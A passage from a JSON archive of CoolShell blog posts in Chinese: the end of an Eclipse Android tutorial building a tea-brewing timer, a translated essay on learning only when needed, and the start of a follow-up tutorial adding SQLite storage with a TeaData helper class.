}\n}\n\n```\n\n下一步，我们将增加每个按钮按下的处理过程。我们将为Activity类增加4个属性，这些属性将用来让用户设置和记录我们泡茶时间，泡茶计数，计时器是否在运行的标志。\n\n\n# /src/com/example/brewclock/BrewClockActivity.java\n\n\n\n```\n\n...\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  protected int brewTime = 3;\n  protected CountDownTimer brewCountDownTimer;\n  protected int brewCount = 0;\n  protected boolean isBrewing = false;\n  ...\n  public void onClick(View v) {\n    if(v == brewAddTime)\n      setBrewTime(brewTime + 1);\n    else if(v == brewDecreaseTime)\n      setBrewTime(brewTime -1);\n    else if(v == startBrew) {\n      if(isBrewing)\n        stopBrew();\n      else\n        startBrew();\n    }\n  }\n}\n\n```\n\n注意我们使用了Android提供的类CountDownTimer 。这让我们非常容易的创建和开始一个简单的递减计数，这个递减计数在递减运行的时候，每当执行一个递减就发出一个通知。你将在下面的startBrew 方法中使用到这个计数器。\n\n\n在下面的方法是所有处理逻辑，这些处理逻辑用于处理设置泡茶时间，开始停止计数和维护计数器。我们同样地在onCreate方法中来初始化我们的 brewTime和 brewCount变量。\n\n\n将这些代码放入到不同的类中是一种好做法。但是为了简洁，我把我们所有的代码都放到了BrewClockActivity中：\n\n\n# /src/com/example/brewclock/BrewClockActivity.java\n\n\n\n```\n\n...\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    ...\n    // Set the initial brew values\n    setBrewCount(0);\n    setBrewTime(3);\n  }\n\n  /**\n   * Set an absolute value for the number of minutes to brew.\n   * Has no effect if a brew is currently running.\n   * @param minutes The number of minutes to brew.\n   */\n  public void setBrewTime(int minutes) {\n    if(isBrewing)\n      return;\n\n    brewTime = minutes;\n\n    if(brewTime < 1)\n      brewTime = 1;\n\n    brewTimeLabel.setText(String.valueOf(brewTime) + \"m\");\n  }\n\n  /**\n   * Set the number of brews that have been made, and update\n   * the interface.\n   * @param count The new number of brews\n   */\n  public void setBrewCount(int count) {\n    brewCount = count;\n    brewCountLabel.setText(String.valueOf(brewCount));\n  }\n\n  /**\n   * Start the brew timer\n   */\n  public void startBrew() {\n    // Create a new CountDownTimer to track the brew time\n    brewCountDownTimer = new CountDownTimer(brewTime * 60 * 1000, 1000) {\n      @Override\n      public void onTick(long millisUntilFinished) {\n        brewTimeLabel.setText(String.valueOf(millisUntilFinished / 1000) + \"s\");\n      }\n\n      @Override\n      public void onFinish() {\n        isBrewing = false;\n        setBrewCount(brewCount + 1);\n\n        brewTimeLabel.setText(\"Brew Up!\");\n        startBrew.setText(\"Start\");\n      }\n    };\n\n    brewCountDownTimer.start();\n    startBrew.setText(\"Stop\");\n    isBrewing = true;\n  }\n\n  /**\n   * Stop the brew timer\n   */\n  public void stopBrew() {\n    if(brewCountDownTimer != null)\n      brewCountDownTimer.cancel();\n\n    isBrewing = false;\n    startBrew.setText(\"Start\");\n  }\n  ...\n}\n\n```\n\n这段代码唯一和Android相关的就是使用setText方法来设置文本的显示文字。在startBrew方法中，我们创建，并开始了一个CountDownTimer来开每秒递减计数直到计数器为0。注意，我们定义了CountDownTimer以内联方式监听onTick 和 onFinish方法。 onTick 方法将每1000毫秒（1秒）执行一次，并递减, 当计数器为0的时候，onFinish方法被调用。\n\n\n#### 避免在你的代码中硬编码\n\n\n为了使教程代码简单，我故意地在程序中将控件的标号直接写到字串中（例如： “Brew Up!”, “Start”, “Stop”） 通常，这不是一个好的做法，因为如果在大型项目中，这样做会使得修改变得麻烦。\n\n\nAndroid 提供了一种简洁的方法让你使用R对象来使字符串和代码分离。R 让你在xml文件（res/values/strings.xml）定义所有你程序中字符串，并让你可以在代码中应用到这些字符串。例如：\n\n\n# /res/values/strings.xml\n\n\n[code]  \n\n<string name=\"brew\\_up\\_label\">Brew Up!</string>  \n\n…  \n\n[/code]\n\n\n# /res/com/example/brewclock/BrewClockActivity.java\n\n\n[code]  \n\n…  \n\nbrewLabel.setText(R.string.brew\\_up\\_label);  \n\n…  \n\n[/code]\n\n\n现在，如果你想改变Brew Up! 字样，你只要一次性的修改strings.xml文件就行了。你的应用将生成一堆代码来保证你程序中所有使用到这些字符串的地方都能被生效！\n\n\n#### 运行Brew Clock\n\n\n代码完成之后，现在是试运行程序的时候了。单击*Run* 或 *Ctrl+F11* 在模拟器中启动我们的应用. 所有都运行良好，你将会看到你创建的用户界面在准备时间一到就可以喝你所泡的茶了！试着设置不同的时间，并点击*Start* 观看倒计时。\n\n\n![](../wp-content/uploads/2011/04/app_finished-550-e1287474491689.jpg \"app_finished-550-e1287474491689\")\n\n\n### 总结\n\n\n在这个关于Android的简单介绍中，你已学会如何安装Android SDK和Eclipse的Android 开发工具插件（ADT）。你也学会如何创建一个模拟设备，并通过这个设备来测试你的应用程序。你还学会了如何开发Android应用程序。上面了那些作为标题的关键概念在以后你自己开发Android应用程序的时候将会经常用到。\n\n\n我们希望，这个教程能激发你的开发移动应用程序的欲望，并步入这个令人激动的领域。Android为当前和即将到来的移动设备应用程序开发提供了一条宽广的道路。如果你已经开发你自己的移动应用，请在评论中告诉我们。\n\n\n*(ik), (vf)*\n\n\n*（全文完）*\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Eclipse开发Android应用程序入门:重装上阵](../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg)](https://coolshell.cn/articles/4334.html)[Eclipse开发Android应用程序入门:重装上阵](https://coolshell.cn/articles/4334.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3589.html)[食客还是大厨](https://coolshell.cn/articles/3589.html)\nThe post [Eclipse开发Android应用程序入门](https://coolshell.cn/articles/4270.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-7 程序员的谎谬之言还是至理名言？.md",
    "content": "---\nlayout: post\ntitle: 程序员的谎谬之言还是至理名言？\ndate: 2011/4/7/ 2:8:59\nupdated: 2011/4/7/ 2:8:59\nstatus: publish\npublished: true\ntype: post\n---\n\n有朋友（网友never）在酷壳Coolshell.cn的[留言版上问我](https://coolshell.cn/guestbook#comment-40758)，为什么关注了这很多的东西，我想我可以用下文来回答这位网友，因为我和作者的观点几乎一致。这篇文章由 ALAN SKORKIN写的 “[The Greatest Developer Fallacy Or The Wisest Words You’ll Ever Hear?](http://www.skorks.com/2011/02/the-greatest-developer-fallacy-or-the-wisest-words-youll-ever-hear/)” ，我把其全文翻译如下，我很喜欢这篇文章，希望你也喜欢。（翻译的也许不好，欢迎指正）\n\n\n—————————————————正文分隔线——————————————————\n\n\n![Wisdom](../wp-content/uploads/2011/02/wisdom-225x300.jpg \"Wisdom\")\n\n\n“***I will learn it when I need it –* 我会在我需要的时候再学**“！我听到这句已经很多年了。这对于一个高速变化的软件行业环境来说，这似乎是一个非常实用的态度。 在某些方面这的确很实用主义，不过在其它的方面，我为这句话感到很不爽。这句话变成了整个软件行业的福音，但却没有让我们的软件行业变得更好。其问题在于，**这句话伪装在于其听上去像是一个智慧的有经验的开发者说的，但是人们只是以此为借口而随波逐流**。实在是有太多的东西需要我们去了解，我们也的确需要在工作当中来学习这些东西。但是， “在工作中学习”和“根据遇到的问题捡知识”这两者有着巨大的不同。\n\n\n* 另外，目前整个软件行业越来越需要一堆多面手，也许现在已经是这样了，只是我还没有注意到。当然，我也不喜欢这种情。现在，好像没有人愿意花更多的时间来把某一个东西学好学深学扎实，比如 [计算机科学的基础知识](http://www.skorks.com/2010/04/on-the-value-of-fundamentals-in-software-development/)，或是最新的你正在使用的技术，甚至你在最近几年内每天都在使用其编码的程序语言（参考：[Java is passed by value](http://blog.tmorris.net/java-is-pass-by-value/)）（**译注：**我在[如何学好C++一文](https://coolshell.cn/articles/4119.html \"如何学好C++语言\")的回复中已经看到一些这样的人）。何苦呢？你会在你的学习路途中看到这些东西被更新，被废弃，并可能变得小众化。我和很多不同的人讨论过很多次，但是好像没有人意识到这是一个问题。 “**哥们，做个实用主义的人吧**”。\n\n\n* 与此同时，我们所有的人都在相互地克隆和模仿（**译注：**参看[中国的C2C](https://coolshell.cn/articles/3820.html \"中国的C2C模式\")）。你需要一个Java程序员，我是一个Java程序员，你也是一个Java程序员，我的邻居也是一个Java程序员。我们之间有什么差别？其实，基本没有差别。好吧，我有一些jQuery的经历，太好，所以，你知道怎么来做一个折叠式的菜单？当然，我可以Google一下，然后剽窃别人最好的代码给你 :)（**译注：**参看“[十条不错的编程观点](https://coolshell.cn/articles/2424.html \"十条不错的编程观点\")”中的”Googling it” is okay）。\n\n\n\n* 与此同时，你需要招聘到真正的专业级的人物（比如，你需要写一个很牛的解析程序来以图形化展示一下后台数据），那么你可能需要准备足够的啤酒和三明治，因为你可很有一段时间找不到这样的人。\n\n\n好了，其实，是有一些方法来区分，比如，我有更好的沟通能力，这就是为什么我可以做得更好。这是相当重要的，但是，**如果我们用软能力而不是用技术能力来区分程序员的好坏 –  是不是有那么点反常和变态**。我们所有人都可以沟通得很好，但是我们的代码乱成一团 :)。该死的，我本不应该说这事，我也有一点全才的样子。当然，我觉得我自己是一个 [T型人才](http://darrennegraeff.com/the-importance-of-t-shaped-individuals/)（**译注**：即有深度又有广度），但是如果我们都非常诚实的话，我们会发现更多的人的能力是“横线型”或是“下划线型”的（**译注**：广度型），其中只有很少数的人才是有能力的。而我们的“T型人才”在这些人中就像一个巨大的钟乳石。**你看上去像一个专家，但也许你从没有做过专家**，这就是专才在满是全才的世界中的优势。\n\n\n#### 投资你的未来\n\n\n我不想以说教的方式来告诉你人们应该怎么样来投资自己未来的职业生涯，因为每个人都知道我们应该怎么做。很多人也许认为他们正在投资，他们努力奋斗，写很多的代码，并也做一些阅读，当然，这样坚持下去，也许[十年也可以成为一个专家](http://norvig.com/21-days.html)，而成为一个咨深专家可能需要20年（我会不断地说这些观点，总有一天我会把这个事说明白 :) ）。但是，如果真是这样的吧，每一个老家伙都会成为各个方面的专家，当然，事实是不会这样的。也许是因为人们不知道如何发展他们的专长（这是事实），但我私下里却怀疑，**大家缺少的是热情而不是知识**。我所说的这些东西难道不都是这样的原因吗？\n\n\n我完全跑题了。“在专业上投资未来”只是这些流行语中的一个，而重点是那句话 – “***I will learn it when I need it –* 我会在我需要的时候再学**”。对我老爸来说这样做挺好，迄今为止对我也有效。但是让我们换一个角度看看，比如金融方面，如果我们说：“**我会在我需要钱的时候再去进行投资**”。在这句话上面那个实用主义的光环就不那么漂亮了。\n\n\n#### 你不知道你不知道的\n\n\n我们都有过这样的时候，当我们痛苦地在解决一个问题的时候，有人突然告诉你一个算法或是一个技术，其把这个问题变得又快又简单。是的，有人告诉你一个容易的方法是一件很幸运的事，否则你可能需要花上数天或数周才能找到解决方法，并且事情可能会变得一团糟。你不会因此而被批评，因为你不知道你所不知道的东西。对此，“***I will learn it when I need it –* 我会在我需要的时候再学**”在这个时候就走不通了。因为，**你不可能学习那些你以为不存在的东西**。Google做了很多的工作来减轻和缓解这样的问题，但并不完美。在一个陌生的环境下面对着一堆陌生的问题，会让你非常非常地痛苦，除非你知道你所面对的是什么（例如：如果你对搜索和约束传播（*constraint propagation*）有点了解的话，那你就可能 [容易地解决数独问题](http://norvig.com/sudoku.html)，否则的话， [这的确是](http://xprogramming.com/xpmag/OkSudoku) [非常](http://xprogramming.com/xpmag/SudokuMusings) [难的](http://xprogramming.com/xpmag/Sudoku4)）。你无法学习一种不知道或是你不知道用在哪里的算法。你也不可能去用一个你以为不存在的技术去解决一个问题。同样，你身边也不可以一直都有一个高人随时在给你指引正确的方向。我敢打赌，**这个世界上有几十亿行代码可以被 几百万行更快，更清楚，更简单的代码所取代，因为无论是谁来写，他都不可能知道他所不知道的东西**。\n\n\n我想在这里成为这个观点的反方，如果我们知道我们有哪些东西我们不知道，那么我们就知道我们需要去关注哪些东西。粗浅地尽可能的大范围的知道这些东西，那么，我们就可以在遇到问题的时候明白我们应该去更深地学什么样的知识。但是，这样来做在实际上并不有效，因为，**这些浮云般的知识不会让你记下来**，我们的大脑不是这样工作的。如果我们不去强化或是深度挖掘去消化这些概念， 我们的大脑会很快地 [把这些信息标为不重要并换页出去](http://www.skorks.com/2009/09/become-a-better-developer-by-indexing-your-brain/)，这么做无非就是在浪费时间（你回头想一想你那些“填鸭式”的死记硬背的知识，你今天还记得吗？）然而，对于那些你集中精力深度研究过的东西——并伴随着你的兴趣的东西——你会收获到扎实的知识（那是你大脑里实际存下的不会忘的东西）。我的爷爷是一个核物理学家，数十年的在工作中获得这个领域中更深的知识让他今天成为了一个专家，同时也让他成为了一个优秀的数学家，不错的化学家，非常好的地理学家，还是一个合格的生物学家，等等。只需要一些 [观察性的证据](http://en.wikipedia.org/wiki/Empirical) 你就知道**广度的知识是深度研究的副产品**。\n\n\n#### 你学得足够快吗？\n\n\n![Learn fast](../wp-content/uploads/2011/02/learn-fast-300x199.jpg \"Learn fast\")\n\n\n有些东西你需要花很长的时间才能学会。我对自己有信心不需跳跃性的就能把一个我从没有见过的ORM框架学会，因为我以前用过相似的东西，它们在概念上是相同的。但是，如果你需要做一个把演讲转成文本的东西呢，这并不简单，因为你没有足够多的背景知识。你可以希望通过Google给你提供一些东西让你Copy/Paste，但这是一个很不好的做法，只有大学里的做研究的研究员干这种烂事。如果是要创建一个网站呢，我们都知道怎么去创建一个网站，但是有多少人会知道如何架构一个每天有一千万用户访问的网站？那么我们需要去学的就是怎么做扩容扩展，**我相信你的用户需要等你一到两个月才能把速度提上去** :)。是的，我太笨了，所有我需要做的就是去招一个专家，然后……嗯……哦等一下，我们的啤酒和三明治都不够了。\n\n\n#### 为什么我应该关心\n\n\n**和高手在一起工作真是超爽无比**。你也许以前经历过，他们每说的一件事总是新鲜的，总是有意思的，你能从他们每一行的代码中学到很多小技巧，你几乎可以感觉到你的大脑在不断膨胀:)。你想从高手学习，所以，如果你身边没有高手，那真是太糟糕了。因为每一个人只会去学那些“需要”被学的东西，所以没有人能教给你任何有意思的东西。然而，这些高手也总是想和高手一起工作， 所以，**你需要做的事就是确定能让高手想和你一起工作？**。按需所学也许是一个不错的技能，但其不应该成为程序员的价值观。是的，这是一个巨大的行业你不可能学习所有的东西，所以，你需要有所选择地把其学精，只要你有足够的好奇心去跟从你的兴趣，你会发现最终你会真正掌握很多很多其它的东西。如果你能把你的工作做好，那么其它的超级牛人都会想要和你一起工作，因为他们可以从你这学到东西，而你又可以从他们那里学到东西。这样一来，所有的人都会是成功者。\n\n\nImage by [SamueleGhilardi](http://www.flickr.com/photos/samueleghilardi/2971657900/) and [SpecialKRB](http://www.flickr.com/photos/specialkrb/3250756763/)\n\n\n—————————————————正文结束分割线——————————————————\n\n\n我在这里想说几个我的观点：\n\n\n1. 我特别同意作者的，如果你把一个技术搞精搞深，你的知识面自然会很广的。\n2. 面对于各种比较深的东西（比如C++的奇技淫巧），作为一个实用主义者可能很不屑，但是你也会为此而失去开阔眼界的机会。\n3. 为明天做一些技术储备，因为你不知道你所缺的东西。多多阅读，多多交流，最好能把自己的心得写下来强化自己的认识和记忆。\n4. 不要只寄望于在工作中学习，工作没有覆盖的地方你就不学了。真正的高手在工作之余都会花很多时间去自己研究点东西的。\n5. 永远和高手一起工作。如果你面试的公司的面试太简单了，那就不要去，因为简单的面试通常意味着平庸。去那样的公司工作只会让你的学习速度变慢，甚至倒退。\n6. 很多东西在概念上是相通的，在哲学层次上是相通的，这是你需要去追求的学习知识的境界。\n7. 最后echo一下作者的话——“很多时候，你缺少的不是知识而是热情”！\n\n\n谢谢大家又花了一点看我的唠叨。呵呵。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员的谎谬之言还是至理名言？](https://coolshell.cn/articles/4235.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-8 Eclipse开发Android应用程序入门重装上阵.md",
    "content": "---\nlayout: post\ntitle: Eclipse开发Android应用程序入门:重装上阵\ndate: 2011/4/8/ 0:30:9\nupdated: 2011/4/8/ 0:30:9\nstatus: publish\npublished: true\ntype: post\n---\n\n**翻译:赵锟**  \n\n原文：<http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/>\n\n\n在我们教程系列的[第一部分](https://coolshell.cn/articles/4270.html)中，我们使用Android和Eclipse开发了一个简单的饮茶计时器的应用程序。在第二部分，我们将继续开发这个程序，并给它增加一些其他的额外的功能。在开发的过程中，我们将给你介绍更多重要而强大的Android SDK特性，包括持久化数据存储，Activity和Intent，和共享用户首选项（译者注：类似于windows 的注册表的一种机制）。\n\n\n跟着本教程，你需要上一篇教程中的代码，如果你想直接使用代码，你可以使用如下的指令从[GitHub](http://github.com/cblunt/BrewClock)上check out出tutorial\\_par\\_1标记的代码：\n\n\n![](../wp-content/uploads/2011/04/1_starting_point_full.jpg \"1_starting_point_full\")  \n\n[code]  \n\n$ git clone git://github.com/cblunt/BrewClock.git  \n\n$ cd BrewClock  \n\n$ git checkout tutorial\\_part\\_1  \n\n[/code]\n\n\n在GitHub中检出了代码后，你需要将代码倒入到Eclipse中的项目中：\n\n\n1. 运行 Eclipse 选择 *File → Import…*\n2. 在导入窗口, 选择 *“Existing Projects into Workspace”*并点击 *“Next.”*\n3. 在下一屏，点击 *“Browse,”*选择你从GitHub上clone出的代码目录。\n4. 点击“Finish” 将项目导入到Eclipse中。\n\n\n  \n\n在导入项目到Eclipse之后，你有可能会看到有如下的警告信息：  \n\n[code]  \n\nAndroid required .class compatibility set to 5.0.  \n\nPlease fix project properties.  \n\n[/code]  \n\n如果有这种情况，右键点击“Project Explorer ”中新导入的BrewClock项目，并选择 “Fix Project Properties,” 并重启Eclipse。\n\n\n### 数据持久化入门\n\n\n当前,BrewClock 让用户为他们泡的茶设置一个定时器。这个非常棒的一个工作，但是如果对于不同的茶使用同一个泡茶时间的结果会怎样呢，是不每种茶都应该有自己的一个泡茶时间呢？如果这样，那岂不是所有的用户都需要记下每一类茶所需要泡的时间！这不是一个很好的用户体验。因此，在这篇教程中，我将新增一个功能来为用户每种不同的茶叶存放一个泡茶时间，并当用户想泡茶的时候，可以从茶叶列表中进行选择。\n\n\n为了实现这个目的，我们得利用Android的丰富的数据持久化的API。Android提供了几种方式来存储数据，本文将要覆盖其中的两种方式。第一种，使用SQLite数据库引擎来为我们存储数据。\n\n\nSQLite 是一种流行的轻量级SQL数据库引擎，它将数据存在单个文件中。SQLite经常用于桌面或在那些运行不能运行客户端-服务器SQL引擎（例如MySQL或PostgreSQL)的嵌入式的应用上。\n\n\n每个安装在Android上的应用都可以保存和使用多个SQLite数据库文件（由数据存储容量决定），这些数据由系统自动地进行管理。应用程序的数据是私有并且不能被其他的应用程序所访问。（数据可以通过ContentProvider(译者注：内容提供者类)类进行共享，但是我们不会在本教程中覆盖关于内容提供者的内容）。当数据应用程序被更新时，数据库文件就进行持久化，当应用程序被删除时，数据库文家就被删除。\n\n\n我们在BrewClock应用使用SQLite数据来维护我们的茶叶列表和泡茶所需要的时间。下面是我们我们将使用的数据表的一个总体介绍。\n\n\n[code]  \n\n+————————————-+  \n\n| Table: teas |  \n\n+————+————————+  \n\n| Column | Description |  \n\n+————+————————+  \n\n| \\_ID | integer, autoincrement |  \n\n| name | text, not null |  \n\n| brew\\_time | integer, not null |  \n\n+————+————————+  \n\n[/code]\n\n\n如果以前你使用过SQL，你应该熟悉这些内容。数据表有三个字段，一个唯一标示（\\_ID），茶叶名称(name)和泡茶时间(brew\\_time)字段。我们将使用Android提供给我们的API在应用中建立数据表。系统将负责在正确的位置为我们的创建数据库文件。\n\n\n#### 抽象数据库\n\n\n为了确保数据库的代码容易被维护，我们用一个单独的类TeaData来抽象所有处理数据库创建，插入，和查询的代码。如果你熟悉模型-试图-控制(译者注：MVC)方法的话，这个你也应该熟悉。所有数据库代码与我们的BrewClockActitvity类隔离开来。Actitvity可以初始化一个新的TeaData实例（这个实例将连接数据库）并完成它所需要的工作。以这种方式工作保证了我们可以方便的更改我们所使用的数据库而不用修改其他那些和数据库不相关部分的代码。\n\n\n通过菜单File → New → Class.在BrewClock项目中创建一个TeaData的新类。确保TeaData扩展于android.database.sqlite.SQLiteOpenHelper 类，并选中“Constructors from superclass”复选框。  \n\n![](../wp-content/uploads/2011/04/2_create_teadata_class1.jpg \"1_starting_point_full\")\n\n\nTeaData 类将为你自动地处理SQLite数据库的创建和版本。我们需要增加一些方法来作为其他代码到数据库的接口。\n\n\n增加两个常量来存储数据库的名字和版本,增加表名和表中列名。我们使用Android提供的常类BaseColumns.\\_ID来做为表的唯一id列：\n\n\n\n```\n\n// src/com/example/brewclock/TeaData.java\nimport android.app.Activity;\nimport android.content.ContentValues;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.DatabaseUtils;\nimport android.provider.BaseColumns;\n\npublic class TeaData extends SQLiteOpenHelper {\n  private static final String DATABASE_NAME = \"teas.db\";\n  private static final int DATABASE_VERSION = 1;\n\n  public static final String TABLE_NAME = \"teas\";\n\n  public static final String _ID = BaseColumns._ID;\n  public static final String NAME = \"name\";\n  public static final String BREW_TIME = \"brew_time\";\n\n  // …\n}\n\n```\n\n为TeaData增加一个构造方法，以数据库名称合版本号为参数调用其父类的构造方法。Android将会自动地打开数据库（如果数据库不存在就自动创建它）。\n\n\n\n```\n\n// src/com/example/brewclock/TeaData.java\npublic TeaData(Context context) {\n  super(context, DATABASE_NAME, null, DATABASE_VERSION);\n}\n\n```\n\n我们需要重载onCreate方法，并执行一个SQL 串执行创建数据库表的操作。Android将会在数据库文件第一次被创建时调用这个方法。\n\n\n在启动过程中，Android检查数据库的版本是否我们传入的版本一致。如果版本发生了改变，Android将会调用onUpgrade方法，在这个方法总，你可以编写修改数据库结构的业务逻辑。在本教程中，我们将让Android删除数据库并重建数据库。\n\n\n在onCreate和onUpgrade中增加如下的代码:\n\n\n\n```\n\n// src/com/example/brewclock/TeaData.java\n@Override\npublic void onCreate(SQLiteDatabase db) {\n  // CREATE TABLE teas (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, brew_time INTEGER);\n  String sql =\n    \"CREATE TABLE \" + TABLE_NAME + \" (\"\n      + _ID + \" INTEGER PRIMARY KEY AUTOINCREMENT, \"\n      + NAME + \" TEXT NOT NULL, \"\n      + BREW_TIME + \" INTEGER\"\n      + \");\";\n\n  db.execSQL(sql);\n}\n\n@Override\npublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n  db.execSQL(\"DROP TABLE IF EXISTS \" + TABLE_NAME);\n  onCreate(db);\n}\n\n\n```\n\n下一步，我们需要新增代码让我们方便地在数据库中新增茶叶记录。我们新增一个带茶叶名称和泡茶时间的方法来负责插入记录。Android为了尽量避免开发者使用SQL语句，提供了一堆类来处理向数据库中查入记录。首先，我们创建一个ContentValues集合，并将相关的值插入到这个集合中去。\n\n\n对于ContentValues集合，我们只要简单地提供一个列名和值来插入就行了。Android负责创建和运行正确的SQL。使用Android的数据类确保了你能写出安全，跨平台的数据库操作代码。\n\n\nAdd a new method, insert(), to the TeaData class:\n\n\n\n```\n\n// src/com/example/brewclock/TeaData.java\npublic void insert(String name, int brewTime) {\n  SQLiteDatabase db = getWritableDatabase();\n\n  ContentValues values = new ContentValues();\n  values.put(NAME, name);\n  values.put(BREW_TIME, brewTime);\n\n  db.insertOrThrow(TABLE_NAME, null, values);\n}\n\n\n```\n\n#### 查询数据\n\n\n我们应用程序具有了在数据库中保存数据的能力后，我们同样也需要一种方式将数据取回来。Android提供了游标Cursor接口来完成这件工作。一个游标代表了针对数据库运行一个SQL返回的结果集，游标在这个结果集中维护了一个指针来指向结果集中的一行。这个指针可以向前，向后移动，并返回每一列的值，下面我们用图形来帮助你理解游标:\n\n\nSQL 查询: SELECT \\* from teas LIMIT 3;  \n\n[code]  \n\n+———————————–+\n\n\n| \\_ID | name | brew\\_time |\n\n\n+———————————–+\n\n\n| 1 | Earl Grey | 3 |\n\n\n| 2 | Green | 1 | <= Cursor\n\n\n| 3 | Assam | 5 |\n\n\n+——-+————-+————-+  \n\n[/code]\n\n\n在这个例子中，游标指向了结果集中的第二条记录（绿茶）。我们可以通过调用cursor.moveToPrevious()方法，将游标向前移动，让它指向第一行（Earl Grey），或者调用moveToNext向前移动指向Assam。要取到游标所指向记录的茶叶的名称，我们只要调用cursor.getString(1)，1代表我们向提取数据列的下标（注意下标识从0开始的，1代表第二列，依次类推）。\n\n\n在了解游标后，我们增加一个创建游标对象并返回数据库中所有的茶叶信息。在TeaData中增加all方法：\n\n\n\n```\n\n// src/com/example/brewclock/TeaData.java\npublic Cursor all(Activity activity) {\n  String[] from = { _ID, NAME, BREW_TIME };\n  String order = NAME;\n\n  SQLiteDatabase db = getReadableDatabase();\n  Cursor cursor = db.query(TABLE_NAME, from, null, null, null, null, order);\n  activity.startManagingCursor(cursor);\n\n  return cursor;\n}\n\n```\n\n因为这个方法乍一看有点古怪，所以让我们先来关心一下这个方法的一些细节。我们没有使用SQL的查询语句，而是使用了Android提供的数据库接口方法。\n\n\n第一，我们需要告诉Android，我们所关心的列的信息。我们创建了一个字符串数组，数组中存放这TeaData中列的标示信息。我们还设置了我名们期望的结果集按照哪一个列进行排序的列名。\n\n\n第二，我们使用getReadalbeDatabase()创建了一个到数据库的只读连接，并调用query方法告诉Android我们希望用query方法运行一个查询。query()方法有很多的参数，Android在内部将这些参数转化为一个查询语句。此外，Android的抽象层保证了即使底层数据储存机制发生了变化，我们的应用程序代码也能正确的工作。\n\n\n由于我们只要返回表中的所有记录，所以我们没有在方法中使用到链接join，过滤filter和分组group（例如：在SQL中的WHERE，JOIN，和GROUP BY）。from和order变量告诉查询数据库需要返回那些列和提取数据时按什么列进行排序。我们使用SQLiteDatabase.query()作为和数据库的人机交互接口。\n\n\n最后，我们让Activity（在本例中，我们的BrewClockActivity）来管理游标。通常，游标需要人工刷新内容，因此当我们增加一个新茶信息到数据库中时，我们就需要刷新我们的游标。每当我们的应用被挂起和恢复的时候，通过调用startManagingCursor()让Android来帮我们重建结果集。\n\n\n在TeaData类中增加count方法:\n\n\n\n```\n\n// src/com/example/brewclock/TeaData.java\n  public long count() {\n    SQLiteDatabase db = getReadableDatabase();\n    return DatabaseUtils.queryNumEntries(db, TABLE_NAME);\n  }\n\n\n```\n\n保存TeaData类，使用修正没有import 的类(Source → Organize Imports)，在完成我们的数据类后，下一步我们将着手修改我们BrewClock的人机界面。\n\n\n#### 修改BrewClock用户界面，允许进行茶叶选择\n\n\n持久化茶和泡茶的时间的目的是让用能快速的选择他们所钟爱的预设置的茶。为了完成这个功能，我们需要再BrewClock的主界面上增加一个Spinner（类似于桌面上弹出菜单），生成一个来自于TeaData的茶列表。\n\n\n和前面的教程一样，我们使用了Eclipse的布局器编辑器在BrewClock的主界面布局XML文件中增加Spinner。在LinearLayout元素下面增加下面这些代码（大约在24行）。如果你打开了可视化的布局编辑器后，你可以点击窗口下面的地”Code View”进行切换。\n\n\n\n```\n\n<!-- /res/layout/main.xml -->\n\n<!-- Tea Selection -->\n<LinearLayout\n  android:orientation=\"vertical\"\n  android:layout_width=\"fill_parent\"\n  android:layout_height=\"wrap_content\">\n\n  <Spinner\n    android:id=\"@+id/tea_spinner\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\" 